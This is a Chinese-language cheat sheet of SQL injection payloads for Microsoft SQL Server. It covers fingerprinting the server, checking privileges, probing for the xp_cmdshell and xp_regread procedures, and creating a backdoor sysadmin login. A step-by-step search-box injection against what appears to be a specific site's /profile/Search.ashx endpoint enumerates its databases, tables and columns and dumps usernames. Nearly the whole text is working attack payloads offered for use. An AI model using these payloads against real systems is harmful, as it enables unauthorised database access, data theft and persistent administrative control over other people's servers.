简洁概述：

and exists (select * from sysobjects) //判断是否是MSSQL

and exists(select * from tableName) //判断某表是否存在..tableName为表名

and 1=(select @@VERSION) //MSSQL版本

And 1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员

and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限

and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1，2，3....

;declare @d int //是否支持多行

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //判断XP_CMDSHELL是否存在

and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') //查看XP_regread扩展存储过程是不是已经被删除

添加和删除一个SA权限的用户test：（需要SA权限）

exec master.dbo.sp_addlogin test,password

exec master.dbo.sp_addsrvrolemember test,sysadmin

/profile/Search.ashx?Pageindex=1&KeyWord=2011%' and 1=(select @@VERSION) and '%'='

搜索型SQL注入，需要注意闭合问题，所以普遍的格式为：

%' 开头 and 1=(select @@VERSION) 执行语句 and '%'=' 结尾语句

查数据库名：

/profile/Search.ashx?Pageindex=1&KeyWord=2011%' and 1=(select db_name()) and '%'=' //查当前数据库名

/profile/Search.ashx?Pageindex=1&KeyWord=2011%' and (SELECT top 1 Name FROM Master..SysDatabases)>0 and '%'=' //查其他数据库名

/profile/Search.ashx?Pageindex=1&KeyWord=2011%' and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 and '%'=' //继续查下一个数据库名

查表名：

/profile/Search.ashx?Pageindex=1&KeyWord=2011%' and (select top 1 name from Db_LeadingWinner.sys.all_objects where type='U' AND is_ms_shipped=0)>0 and '%'=' //查Db_LeadingWinner数据库表名

/profile/Search.ashx?Pageindex=1&KeyWord=2011%' and (select top 1 name from Db_LeadingWinner.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('FrontUser','UserPermission'))>0 and '%'=' //查下一个表名

查字段：

/profile/Search.ashx?Pageindex=1&KeyWord=2011%' and (select top 1 COLUMN_NAME from Db_LeadingWinner.information_schema.columns where TABLE_NAME='RegisterUsers')>0 and '%'=' //查Db_LeadingWinner数据库RegisterUsers表的字段

/profile/Search.ashx?Pageindex=1&KeyWord=2011%' and (select top 1 COLUMN_NAME from Db_LeadingWinner.information_schema.columns where TABLE_NAME='RegisterUsers' and COLUMN_NAME not in('ID','username'))>0 and '%'=' //查下一个字段

爆数据：

/profile/Search.ashx?Pageindex=1&KeyWord=2011%' and (select top 1 username from FrontUser) >0 and '%'=' //查FrontUser表的username字段内容
